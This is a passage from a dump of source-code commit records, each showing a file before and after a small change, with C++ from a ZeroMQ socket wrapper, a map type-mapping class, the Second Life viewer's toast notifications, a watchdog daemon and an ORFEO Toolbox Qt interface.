url) {\n\t\tsocket_.connect(url);\n\t}\n\n\tvoid disconnect(const char* url) {\n\t\tif ( socket_.connected() ) socket_.disconnect(url);\n\t}\n\n\tvoid bind(const char* url) {\n\t\tsocket_.bind(url);\n\t}\n\tvoid unbind(const char* url) {\n\t\tif (strncmp(url,\"inproc\",6)!=0) socket_.unbind(url);\n\t}\n\n\tvoid close() {\n\t\tsocket_.close();\n\t}\n\n\tvoid SetOption(int type,std::string opt) {\n\t\tsocket_.setsockopt(type, opt.c_str(), opt.length());\n\t}\n\n\tvoid SetLinger(int linger = -1) {\n\t\tsocket_.setsockopt(ZMQ_LINGER, &linger, sizeof(int));\n\t}\n\n\ttemplate<typename T>\n\tbool Send(const T& frames) {\n\t\tstd::size_t fleft= frames.size();\n\t\tif(!fleft) return true;\n\t\tfor (typename T::const_iterator it = frames.begin(); it!=frames.end(); ++it,--fleft) {\n\t\t\tzmq::message_t msg (it->length());\n \tmemcpy ((void *) msg.data (), it->c_str(), it->length());\n\t\t\t\/\/ DLOG(INFO) << std::string(static_cast<char*>(msg.data()), msg.size()) << std::endl;\n\t\t\tif (! socket_.send(msg, (fleft==1) ? 0 : ZMQ_SNDMORE) )\n\t\t\t\tthrow ZError(ZEC_CONNECTIONERROR,\"cannot send data frame\");\n\t\t}\n\t\treturn true;\n\t}\n\n\ttemplate<typename T>\n\tT BlockingRecv() {\n\t\tT frames;\n\t\tbool more=false;\n\t\tdo {\n\t\t\tzmq::message_t msg(0);\n\t\t\tif (!socket_.recv(&msg, 0)) throw zqrpc::RetryException();\n\t\t\tframes.push_back(std::string(static_cast<char*>(msg.data()), msg.size()));\n\t\t\t\/\/ DLOG(INFO) << std::string(static_cast<char*>(msg.data()), msg.size()) << std::endl;\n\t\t\tmore = msg.more();\n\t\t} while(more);\n\n\t\treturn frames;\n\t}\n\n\ttemplate<typename T>\n\tT NonBlockingRecv() {\n\t\tT frames;\n\t\tzmq::message_t msg(0);\n\t\tbool more=false;\n\t\tdo {\n\t\t\tif (!socket_.recv(&msg, ZMQ_DONTWAIT)) throw zqrpc::RetryException();\n\t\t\tframes.push_back(std::string(static_cast<char*>(msg.data()), msg.size()));\n\t\t\tmore = msg.more();\n\t\t} while(more);\n\n\t\treturn frames;\n\t}\n\n\tbool Poll(long timeout) {\n\t\tzmq::pollitem_t items[] = { { socket_, 0, ZMQ_POLLIN, 0 } };\n\t\tzmq::poll (&items[0], 1, timeout);\n\t\treturn (items[0].revents & ZMQ_POLLIN);\n\t\t\/\/ DLOG(INFO) << \"Polling End\" << std::endl;\n\t}\n\nprivate:\n\tzmq::socket_t socket_;\n\n\tZSocket(const ZSocket&);\n\tvoid operator=(const ZSocket&);\n\n};\n} \/\/ namespace\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"types_mapping.hpp\"\n#include \"classificator.hpp\"\n\n#include \"..\/base\/string_utils.hpp\"\n#include \"..\/base\/stl_add.hpp\"\n\n\nvoid IndexAndTypeMapping::Load(istream & s)\n{\n Classificator const & c = classif();\n\n string v;\n vector<string> path;\n\n uint32_t ind = 0;\n while (s.good())\n {\n v.clear();\n s >> v;\n\n if (!v.empty())\n {\n path.clear();\n strings::Tokenize(v, \"|\", MakeBackInsertFunctor(path));\n\n Add(ind++, c.GetTypeByPath(path));\n }\n }\n}\n\nvoid IndexAndTypeMapping::Add(uint32_t ind, uint32_t type)\n{\n ASSERT_EQUAL ( ind, m_types.size(), () );\n m_types.push_back(type);\n\n m_map.insert(make_pair(type, ind));\n}\n\nuint32_t IndexAndTypeMapping::GetIndex(uint32_t t) const\n{\n MapT::const_iterator i = m_map.find(t);\n CHECK ( i != m_map.end(), (t, classif().GetFullObjectName(t)) );\n return i->second;\n}\n<commit_msg>readded check for duplicate style names<commit_after>#include \"types_mapping.hpp\"\n#include \"classificator.hpp\"\n\n#include \"..\/base\/string_utils.hpp\"\n#include \"..\/base\/stl_add.hpp\"\n\n\nvoid IndexAndTypeMapping::Load(istream & s)\n{\n Classificator const & c = classif();\n\n string v;\n vector<string> path;\n\n uint32_t ind = 0;\n while (s.good())\n {\n v.clear();\n s >> v;\n\n if (!v.empty())\n {\n path.clear();\n strings::Tokenize(v, \"|\", MakeBackInsertFunctor(path));\n\n Add(ind++, c.GetTypeByPath(path));\n }\n }\n}\n\nvoid IndexAndTypeMapping::Add(uint32_t ind, uint32_t type)\n{\n ASSERT_EQUAL ( ind, m_types.size(), () );\n m_types.push_back(type);\n\n if (!m_map.insert(make_pair(type, ind)).second)\n {\n string const name = classif().GetFullObjectName(type);\n CHECK_EQUAL(name, \"mapswithme|\", ());\n }\n}\n\nuint32_t IndexAndTypeMapping::GetIndex(uint32_t t) const\n{\n MapT::const_iterator i = m_map.find(t);\n CHECK ( i != m_map.end(), (t, classif().GetFullObjectName(t)) );\n return i->second;\n}\n<|endoftext|>"} {"text":"<commit_before>\/** \n * @file lltoast.cpp\n * @brief This class implements a placeholder for any notification panel.\n *\n * $LicenseInfo:firstyear=2000&license=viewergpl$\n * \n * Copyright (c) 2000-2009, Linden Research, Inc.\n * \n * Second Life Viewer Source Code\n * The source code in this file (\"Source Code\") is provided by Linden Lab\n * to you under the terms of the GNU General Public License, version 2.0\n * (\"GPL\"), unless you have obtained a separate licensing agreement\n * (\"Other License\"), formally executed by you and Linden Lab. Terms of\n * the GPL can be found in doc\/GPL-license.txt in this distribution, or\n * online at http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/gplv2\n * \n * There are special exceptions to the terms and conditions of the GPL as\n * it is applied to this Source Code. View the full text of the exception\n * in the file doc\/FLOSS-exception.txt in this software distribution, or\n * online at\n * http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/flossexception\n * \n * By copying, modifying or distributing this software, you acknowledge\n * that you have read and understood your obligations described above,\n * and agree to abide by those obligations.\n * \n * ALL LINDEN LAB SOURCE CODE IS PROVIDED \"AS IS.\" LINDEN LAB MAKES NO\n * WARRANTIES, EXPRESS, IMPLIED OR OTHERWISE, REGARDING ITS ACCURACY,\n * COMPLETENESS OR PERFORMANCE.\n * $\/LicenseInfo$\n *\/\n\n#include \"llviewerprecompiledheaders.h\" \/\/ must be first include\n\n#include \"lltoast.h\"\n\n#include \"llbutton.h\"\n#include \"llfocusmgr.h\"\n#include \"llnotifications.h\"\n#include \"llviewercontrol.h\"\n\nusing namespace LLNotificationsUI;\n\n\/\/--------------------------------------------------------------------------\nLLToast::Params::Params() \n:\tcan_fade(\"can_fade\", true),\n\tcan_be_stored(\"can_be_stored\", true),\n\tis_modal(\"is_modal\", false),\n\tis_tip(\"is_tip\", false),\n\tenable_hide_btn(\"enable_hide_btn\", true),\n\tforce_show(\"force_show\", false),\n\tforce_store(\"force_store\", false),\n\tfading_time_secs(\"fading_time_secs\", gSavedSettings.getS32(\"ToastFadingTime\")),\n\tlifetime_secs(\"lifetime_secs\", gSavedSettings.getS32(\"NotificationToastLifeTime\"))\n{};\n\nLLToast::LLToast(const LLToast::Params& p) \n:\tLLModalDialog(LLSD(), p.is_modal),\n\tmPanel(p.panel), \n\tmToastLifetime(p.lifetime_secs),\n\tmToastFadingTime(p.fading_time_secs),\n\tmNotificationID(p.notif_id), \n\tmSessionID(p.session_id),\n\tmCanFade(p.can_fade),\n\tmCanBeStored(p.can_be_stored),\n\tmHideBtnEnabled(p.enable_hide_btn),\n\tmHideBtn(NULL),\n\tmNotification(p.notification),\n\tmIsHidden(false),\n\tmHideBtnPressed(false),\n\tmIsTip(p.is_tip)\n{\n\tLLUICtrlFactory::getInstance()->buildFloater(this, \"panel_toast.xml\", NULL);\n\n\tsetCanDrag(FALSE);\n\n\tif(mPanel)\n\t{\n\t\tinsertPanel(mPanel);\n\t}\n\n\tif(mHideBtnEnabled)\n\t{\n\t\tmHideBtn = getChild<LLButton>(\"hide_btn\");\n\t\tmHideBtn->setClickedCallback(boost::bind(&LLToast::hide,this));\n\t}\n\n\t\/\/ init callbacks if present\n\tif(!p.on_delete_toast().empty())\n\t\tmOnDeleteToastSignal.connect(p.on_delete_toast());\n\n\tif(!p.on_mouse_enter().empty())\n\t\tmOnMouseEnterSignal.connect(p.on_mouse_enter());\n}\n\n\/\/--------------------------------------------------------------------------\nBOOL LLToast::postBuild()\n{\n\tif(!mCanFade)\n\t{\n\t\tmTimer.stop();\n\t}\n\n\tif (mIsTip)\n\t{\n\t\tmTextEditor = mPanel->getChild<LLTextEditor>(\"text_editor_box\");\n\n\t\tif (mTextEditor)\n\t\t{\n\t\t\tmTextEditor->setMouseUpCallback(boost::bind(&LLToast::hide,this));\n\t\t\tmPanel->setMouseUpCallback(boost::bind(&LLToast::handleTipToastClick, this, _2, _3, _4));\n\t\t}\n\t}\n\n\treturn TRUE;\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::handleTipToastClick(S32 x, S32 y, MASK mask)\n{\n\tif (!mTextEditor->getRect().pointInRect(x, y))\n\t{\n\t\thide();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setHideButtonEnabled(bool enabled)\n{\n\tif(mHideBtn)\n\t\tmHideBtn->setEnabled(enabled);\n}\n\n\/\/--------------------------------------------------------------------------\nLLToast::~LLToast()\n{\t\n\tmOnToastDestroyedSignal(this);\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setAndStartTimer(F32 period)\n{\n\tif(mCanFade)\n\t{\n\t\tmToastLifetime = period;\n\t\tmTimer.start();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\nbool LLToast::lifetimeHasExpired()\n{\n\tif (mTimer.getStarted())\n\t{\n\t\tF32 elapsed_time = mTimer.getElapsedTimeF32();\n\t\tif ((mToastLifetime - elapsed_time) <= mToastFadingTime) \n\t\t{\n\t\t\tsetBackgroundOpaque(FALSE);\n\t\t}\n\t\tif (elapsed_time > mToastLifetime) \n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::hide()\n{\n\tsetVisible(FALSE);\n\tmTimer.stop();\n\tmIsHidden = true;\n\tmOnFadeSignal(this); \n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setCanFade(bool can_fade) \n{ \n\tmCanFade = can_fade; \n\tif(!mCanFade)\n\t\tmTimer.stop();\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::tick()\n{\n\tif(mCanFade)\n\t{\n\t\thide();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\n\nvoid LLToast::reshapeToPanel()\n{\n\tLLPanel* panel = getPanel();\n\tif(!panel)\n\t\treturn;\n\n\tLLRect panel_rect;\n\n\tpanel_rect = panel->getRect();\n\treshape(panel_rect.getWidth(), panel_rect.getHeight());\n\tpanel_rect.setLeftTopAndSize(0, panel_rect.getHeight(), panel_rect.getWidth(), panel_rect.getHeight());\n\tpanel->setRect(panel_rect);\n\t\n\tLLRect toast_rect = getRect();\n\ttoast_rect.setLeftTopAndSize(toast_rect.mLeft,toast_rect.mTop,panel_rect.getWidth(), panel_rect.getHeight());\n\tsetRect(toast_rect);\n\n}\n\nvoid LLToast::insertPanel(LLPanel* panel)\n{\n\taddChild(panel);\t\n\treshapeToPanel();\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::draw()\n{\n\tif(lifetimeHasExpired())\n\t{\n\t\ttick();\n\t}\n\n\tLLFloater::draw();\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setVisible(BOOL show)\n{\n\tif(mIsHidden)\n\t{\n\t\t\/\/ this toast is invisible after fade until its ScreenChannel will allow it\n\t\t\/\/\n\t\t\/\/ (EXT-1849) according to this bug a toast can be resurrected from\n\t\t\/\/ invisible state if it faded during a teleportation\n\t\t\/\/ then it fades a second time and causes a crash\n\t\treturn;\n\t}\n\n\tif(show)\n\t{\n\t\tsetBackgroundOpaque(TRUE);\n\t\tif(!mTimer.getStarted() && mCanFade)\n\t\t{\n\t\t\tmTimer.start();\n\t\t}\n\t\tLLModalDialog::setFrontmost(FALSE);\n\t}\n\tLLFloater::setVisible(show);\n\tif(mPanel)\n\t{\n\t\tif(!mPanel->isDead())\n\t\t{\n\t\t\tmPanel->setVisible(show);\n\t\t}\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::onMouseEnter(S32 x, S32 y, MASK mask)\n{\n\tmOnToastHoverSignal(this, MOUSE_ENTER);\n\n\t\/\/toasts fading is management by Screen Channel\n\t\n\tsendChildToFront(mHideBtn);\n\tif(mHideBtn && mHideBtn->getEnabled())\n\t\tmHideBtn->setVisible(TRUE);\n\tmOnMouseEnterSignal(this);\n\n\tLLModalDialog::onMouseEnter(x, y, mask);\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::onMouseLeave(S32 x, S32 y, MASK mask)\n{\t\n\tmOnToastHoverSignal(this, MOUSE_LEAVE);\n\n\t\/\/toasts fading is management by Screen Channel\n\n\tif(mHideBtn && mHideBtn->getEnabled())\n\t{\n\t\tif( mHideBtnPressed )\n\t\t{\n\t\t\tmHideBtnPressed = false;\n\t\t\treturn;\n\t\t}\n\t\tmHideBtn->setVisible(FALSE);\t\t\n\t}\n\n\tLLModalDialog::onMouseLeave(x, y, mask);\n}\n\n\nvoid LLNotificationsUI::LLToast::stopFading()\n{\n\tif(mCanFade)\n\t{\n\t\tstopTimer();\n\t}\n}\n\nvoid LLNotificationsUI::LLToast::startFading()\n{\n\tif(mCanFade)\n\t{\n\t\tresetTimer();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\n\nBOOL LLToast::handleMouseDown(S32 x, S32 y, MASK mask)\n{\n\tif(mHideBtn && mHideBtn->getEnabled())\n\t{\n\t\tmHideBtnPressed = mHideBtn->getRect().pointInRect(x, y);\n\t}\n\n\treturn LLFloater::handleMouseDown(x, y, mask);\n}\n\n\/\/--------------------------------------------------------------------------\nbool LLToast::isNotificationValid()\n{\n\tif(mNotification)\n\t{\n\t\treturn !mNotification->isCancelled();\n\t}\n\treturn false;\n}\n\n\/\/--------------------------------------------------------------------------\n\n\n<commit_msg>fixed EXT-3374 “[BSI] Notifications and dialogs are semi-transparent (not opaque) even when in focus”, made toast opaque when became hovered;<commit_after>\/** \n * @file lltoast.cpp\n * @brief This class implements a placeholder for any notification panel.\n *\n * $LicenseInfo:firstyear=2000&license=viewergpl$\n * \n * Copyright (c) 2000-2009, Linden Research, Inc.\n * \n * Second Life Viewer Source Code\n * The source code in this file (\"Source Code\") is provided by Linden Lab\n * to you under the terms of the GNU General Public License, version 2.0\n * (\"GPL\"), unless you have obtained a separate licensing agreement\n * (\"Other License\"), formally executed by you and Linden Lab. Terms of\n * the GPL can be found in doc\/GPL-license.txt in this distribution, or\n * online at http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/gplv2\n * \n * There are special exceptions to the terms and conditions of the GPL as\n * it is applied to this Source Code. View the full text of the exception\n * in the file doc\/FLOSS-exception.txt in this software distribution, or\n * online at\n * http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/flossexception\n * \n * By copying, modifying or distributing this software, you acknowledge\n * that you have read and understood your obligations described above,\n * and agree to abide by those obligations.\n * \n * ALL LINDEN LAB SOURCE CODE IS PROVIDED \"AS IS.\" LINDEN LAB MAKES NO\n * WARRANTIES, EXPRESS, IMPLIED OR OTHERWISE, REGARDING ITS ACCURACY,\n * COMPLETENESS OR PERFORMANCE.\n * $\/LicenseInfo$\n *\/\n\n#include \"llviewerprecompiledheaders.h\" \/\/ must be first include\n\n#include \"lltoast.h\"\n\n#include \"llbutton.h\"\n#include \"llfocusmgr.h\"\n#include \"llnotifications.h\"\n#include \"llviewercontrol.h\"\n\nusing namespace LLNotificationsUI;\n\n\/\/--------------------------------------------------------------------------\nLLToast::Params::Params() \n:\tcan_fade(\"can_fade\", true),\n\tcan_be_stored(\"can_be_stored\", true),\n\tis_modal(\"is_modal\", false),\n\tis_tip(\"is_tip\", false),\n\tenable_hide_btn(\"enable_hide_btn\", true),\n\tforce_show(\"force_show\", false),\n\tforce_store(\"force_store\", false),\n\tfading_time_secs(\"fading_time_secs\", gSavedSettings.getS32(\"ToastFadingTime\")),\n\tlifetime_secs(\"lifetime_secs\", gSavedSettings.getS32(\"NotificationToastLifeTime\"))\n{};\n\nLLToast::LLToast(const LLToast::Params& p) \n:\tLLModalDialog(LLSD(), p.is_modal),\n\tmPanel(p.panel), \n\tmToastLifetime(p.lifetime_secs),\n\tmToastFadingTime(p.fading_time_secs),\n\tmNotificationID(p.notif_id), \n\tmSessionID(p.session_id),\n\tmCanFade(p.can_fade),\n\tmCanBeStored(p.can_be_stored),\n\tmHideBtnEnabled(p.enable_hide_btn),\n\tmHideBtn(NULL),\n\tmNotification(p.notification),\n\tmIsHidden(false),\n\tmHideBtnPressed(false),\n\tmIsTip(p.is_tip)\n{\n\tLLUICtrlFactory::getInstance()->buildFloater(this, \"panel_toast.xml\", NULL);\n\n\tsetCanDrag(FALSE);\n\n\tif(mPanel)\n\t{\n\t\tinsertPanel(mPanel);\n\t}\n\n\tif(mHideBtnEnabled)\n\t{\n\t\tmHideBtn = getChild<LLButton>(\"hide_btn\");\n\t\tmHideBtn->setClickedCallback(boost::bind(&LLToast::hide,this));\n\t}\n\n\t\/\/ init callbacks if present\n\tif(!p.on_delete_toast().empty())\n\t\tmOnDeleteToastSignal.connect(p.on_delete_toast());\n\n\tif(!p.on_mouse_enter().empty())\n\t\tmOnMouseEnterSignal.connect(p.on_mouse_enter());\n}\n\n\/\/--------------------------------------------------------------------------\nBOOL LLToast::postBuild()\n{\n\tif(!mCanFade)\n\t{\n\t\tmTimer.stop();\n\t}\n\n\tif (mIsTip)\n\t{\n\t\tmTextEditor = mPanel->getChild<LLTextEditor>(\"text_editor_box\");\n\n\t\tif (mTextEditor)\n\t\t{\n\t\t\tmTextEditor->setMouseUpCallback(boost::bind(&LLToast::hide,this));\n\t\t\tmPanel->setMouseUpCallback(boost::bind(&LLToast::handleTipToastClick, this, _2, _3, _4));\n\t\t}\n\t}\n\n\treturn TRUE;\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::handleTipToastClick(S32 x, S32 y, MASK mask)\n{\n\tif (!mTextEditor->getRect().pointInRect(x, y))\n\t{\n\t\thide();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setHideButtonEnabled(bool enabled)\n{\n\tif(mHideBtn)\n\t\tmHideBtn->setEnabled(enabled);\n}\n\n\/\/--------------------------------------------------------------------------\nLLToast::~LLToast()\n{\t\n\tmOnToastDestroyedSignal(this);\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setAndStartTimer(F32 period)\n{\n\tif(mCanFade)\n\t{\n\t\tmToastLifetime = period;\n\t\tmTimer.start();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\nbool LLToast::lifetimeHasExpired()\n{\n\tif (mTimer.getStarted())\n\t{\n\t\tF32 elapsed_time = mTimer.getElapsedTimeF32();\n\t\tif ((mToastLifetime - elapsed_time) <= mToastFadingTime) \n\t\t{\n\t\t\tsetBackgroundOpaque(FALSE);\n\t\t}\n\t\tif (elapsed_time > mToastLifetime) \n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::hide()\n{\n\tsetVisible(FALSE);\n\tmTimer.stop();\n\tmIsHidden = true;\n\tmOnFadeSignal(this); \n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setCanFade(bool can_fade) \n{ \n\tmCanFade = can_fade; \n\tif(!mCanFade)\n\t\tmTimer.stop();\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::tick()\n{\n\tif(mCanFade)\n\t{\n\t\thide();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\n\nvoid LLToast::reshapeToPanel()\n{\n\tLLPanel* panel = getPanel();\n\tif(!panel)\n\t\treturn;\n\n\tLLRect panel_rect;\n\n\tpanel_rect = panel->getRect();\n\treshape(panel_rect.getWidth(), panel_rect.getHeight());\n\tpanel_rect.setLeftTopAndSize(0, panel_rect.getHeight(), panel_rect.getWidth(), panel_rect.getHeight());\n\tpanel->setRect(panel_rect);\n\t\n\tLLRect toast_rect = getRect();\n\ttoast_rect.setLeftTopAndSize(toast_rect.mLeft,toast_rect.mTop,panel_rect.getWidth(), panel_rect.getHeight());\n\tsetRect(toast_rect);\n\n}\n\nvoid LLToast::insertPanel(LLPanel* panel)\n{\n\taddChild(panel);\t\n\treshapeToPanel();\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::draw()\n{\n\tif(lifetimeHasExpired())\n\t{\n\t\ttick();\n\t}\n\n\tLLFloater::draw();\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::setVisible(BOOL show)\n{\n\tif(mIsHidden)\n\t{\n\t\t\/\/ this toast is invisible after fade until its ScreenChannel will allow it\n\t\t\/\/\n\t\t\/\/ (EXT-1849) according to this bug a toast can be resurrected from\n\t\t\/\/ invisible state if it faded during a teleportation\n\t\t\/\/ then it fades a second time and causes a crash\n\t\treturn;\n\t}\n\n\tif(show)\n\t{\n\t\tsetBackgroundOpaque(TRUE);\n\t\tif(!mTimer.getStarted() && mCanFade)\n\t\t{\n\t\t\tmTimer.start();\n\t\t}\n\t\tLLModalDialog::setFrontmost(FALSE);\n\t}\n\tLLFloater::setVisible(show);\n\tif(mPanel)\n\t{\n\t\tif(!mPanel->isDead())\n\t\t{\n\t\t\tmPanel->setVisible(show);\n\t\t}\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::onMouseEnter(S32 x, S32 y, MASK mask)\n{\n\tmOnToastHoverSignal(this, MOUSE_ENTER);\n\n\tsetBackgroundOpaque(TRUE);\n\n\t\/\/toasts fading is management by Screen Channel\n\t\n\tsendChildToFront(mHideBtn);\n\tif(mHideBtn && mHideBtn->getEnabled())\n\t\tmHideBtn->setVisible(TRUE);\n\tmOnMouseEnterSignal(this);\n\n\tLLModalDialog::onMouseEnter(x, y, mask);\n}\n\n\/\/--------------------------------------------------------------------------\nvoid LLToast::onMouseLeave(S32 x, S32 y, MASK mask)\n{\t\n\tmOnToastHoverSignal(this, MOUSE_LEAVE);\n\n\t\/\/toasts fading is management by Screen Channel\n\n\tif(mHideBtn && mHideBtn->getEnabled())\n\t{\n\t\tif( mHideBtnPressed )\n\t\t{\n\t\t\tmHideBtnPressed = false;\n\t\t\treturn;\n\t\t}\n\t\tmHideBtn->setVisible(FALSE);\t\t\n\t}\n\n\tLLModalDialog::onMouseLeave(x, y, mask);\n}\n\n\nvoid LLNotificationsUI::LLToast::stopFading()\n{\n\tif(mCanFade)\n\t{\n\t\tstopTimer();\n\t}\n}\n\nvoid LLNotificationsUI::LLToast::startFading()\n{\n\tif(mCanFade)\n\t{\n\t\tresetTimer();\n\t}\n}\n\n\/\/--------------------------------------------------------------------------\n\nBOOL LLToast::handleMouseDown(S32 x, S32 y, MASK mask)\n{\n\tif(mHideBtn && mHideBtn->getEnabled())\n\t{\n\t\tmHideBtnPressed = mHideBtn->getRect().pointInRect(x, y);\n\t}\n\n\treturn LLFloater::handleMouseDown(x, y, mask);\n}\n\n\/\/--------------------------------------------------------------------------\nbool LLToast::isNotificationValid()\n{\n\tif(mNotification)\n\t{\n\t\treturn !mNotification->isCancelled();\n\t}\n\treturn false;\n}\n\n\/\/--------------------------------------------------------------------------\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2013-2016 Christian Lockley\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may \n * not use this file except in compliance with the License. You may obtain \n * a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied. See the License for the specific language governing\n * permissions and limitations under the License. \n *\/\n\n#include \"watchdogd.hpp\"\n#include \"sub.hpp\"\n#include \"init.hpp\"\n#include \"pidfile.hpp\"\n#include \"daemon.hpp\"\n#include \"logutils.hpp\"\n\nint Daemonize(struct cfgoptions *const s)\n{\n\tassert(s != NULL);\n\n\tif (s == NULL) {\n\t\treturn -1;\n\t}\n\n\tif (IsDaemon(s) == 0) { \/\/shall we daemonize?\n\t\treturn 0;\n\t}\n\n\tkill(getppid(), SIGUSR1);\n\tSetLogTarget(SYSTEM_LOG);\n\treturn 0;\n}\n<commit_msg>change log level before daemonizing<commit_after>\/*\n * Copyright 2013-2016 Christian Lockley\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may \n * not use this file except in compliance with the License. You may obtain \n * a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied. See the License for the specific language governing\n * permissions and limitations under the License. \n *\/\n\n#include \"watchdogd.hpp\"\n#include \"sub.hpp\"\n#include \"init.hpp\"\n#include \"pidfile.hpp\"\n#include \"daemon.hpp\"\n#include \"logutils.hpp\"\n\nint Daemonize(struct cfgoptions *const s)\n{\n\tassert(s != NULL);\n\n\tif (s == NULL) {\n\t\treturn -1;\n\t}\n\n\tif (IsDaemon(s) == 0) { \/\/shall we daemonize?\n\t\treturn 0;\n\t}\n\n\tSetLogTarget(SYSTEM_LOG);\n\tkill(getppid(), SIGUSR1);\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetView.h\"\n\n#include \"otbWrapperQtWidgetParameterGroup.h\"\n#include \"otbWrapperQtWidgetParameterFactory.h\"\n#include \"otbWrapperQtWidgetProgressReport.h\"\n#include \"otbWrapperOutputImageParameter.h\"\n#include \"otbWrapperParameterGroup.h\"\n#include \"otbWrapperQtWidgetSimpleProgressReport.h\"\n\n#include \"itksys\/SystemTools.hxx\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetView::QtWidgetView(Application* app)\n{\n m_Model = new QtWidgetModel(app);\n m_Application = app;\n}\n\nQtWidgetView::~QtWidgetView()\n{\n\n}\n\nvoid QtWidgetView::CreateGui()\n{\n \/\/ Create a VBoxLayout with the header, the input widgets, and the footer\n QVBoxLayout *mainLayout = new QVBoxLayout();\n QTabWidget *tab = new QTabWidget();\n \n tab->addTab(CreateInputWidgets(), \"Parameters\");\n QTextEdit *log = new QTextEdit();\n connect( m_Model->GetLogOutput(), SIGNAL(NewContentLog(QString)), log, SLOT(append(QString) ) );\n tab->addTab(log, \"Logs\");\n QtWidgetProgressReport* prog = new QtWidgetProgressReport(m_Model);\n prog->SetApplication(m_Application);\n tab->addTab(prog, \"Progress\");\n tab->addTab(CreateDoc(), \"Documentation\");\n mainLayout->addWidget(tab);\n\n m_Message = new QLabel(\"<center><font color=\\\"#FF0000\\\">Select parameters<\/font><\/center>\");\n connect( m_Model, SIGNAL(SetApplicationReady(bool)), this, SLOT(UpdateMessageAfterApplicationReady(bool)) );\n mainLayout->addWidget(m_Message);\n\n QtWidgetSimpleProgressReport * progressReport = new QtWidgetSimpleProgressReport(m_Model);\n progressReport->SetApplication(m_Application);\n \n QHBoxLayout *footLayout = new QHBoxLayout;\n footLayout->addWidget(progressReport);\n footLayout->addWidget(CreateFooter());\n mainLayout->addLayout(footLayout);\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(mainLayout);\n\n QVBoxLayout *finalLayout = new QVBoxLayout();\n finalLayout->addWidget(mainGroup);\n\n \/\/ Make the final layout to the widget\n this->setLayout(finalLayout);\n}\n\nvoid QtWidgetView::UpdateMessageAfterExcuteClicked()\n{\n m_Message->setText(\"<center><font color=\\\"#FF0000\\\">Running<\/font><\/center>\");\n}\n\nvoid QtWidgetView::UpdateMessageAfterApplicationReady( bool val )\n{\n if(val == true)\n m_Message->setText(\"<center><font color=\\\"#00FF00\\\">Ready to run<\/font><\/center>\");\n else\n m_Message->setText(\"<center><font color=\\\"#FF0000\\\">Select parameters<\/font><\/center>\");\n}\n\nQWidget* QtWidgetView::CreateInputWidgets()\n{\n QScrollArea *scrollArea = new QScrollArea;\n \/\/ Put the main group inside a scroll area\n scrollArea->setWidget(QtWidgetParameterFactory::CreateQtWidget(m_Model->GetApplication()->GetParameterList(), m_Model));\n scrollArea->setHorizontalScrollBarPolicy(Qt::ScrollBarAsNeeded);\n scrollArea->setVerticalScrollBarPolicy(Qt::ScrollBarAsNeeded);\n scrollArea->setWidgetResizable(true);\n\n return scrollArea;\n}\n\n\nQWidget* QtWidgetView::CreateFooter()\n{\n \/\/ an HLayout with two buttons : Execute and Quit\n QGroupBox *footerGroup = new QGroupBox;\n QHBoxLayout *footerLayout = new QHBoxLayout;\n \n footerGroup->setFixedHeight(40);\n footerGroup->setContentsMargins(0, 0, 0, 0);\n footerLayout->setContentsMargins(5, 5, 5, 5);\n\n m_ExecButton = new QPushButton(footerGroup);\n m_ExecButton->setDefault(true);\n m_ExecButton->setEnabled(false);\n m_ExecButton->setText(QObject::tr(\"Execute\"));\n connect( m_ExecButton, SIGNAL(clicked()), m_Model, SLOT(ExecuteAndWriteOutputSlot() ) );\n connect( m_Model, 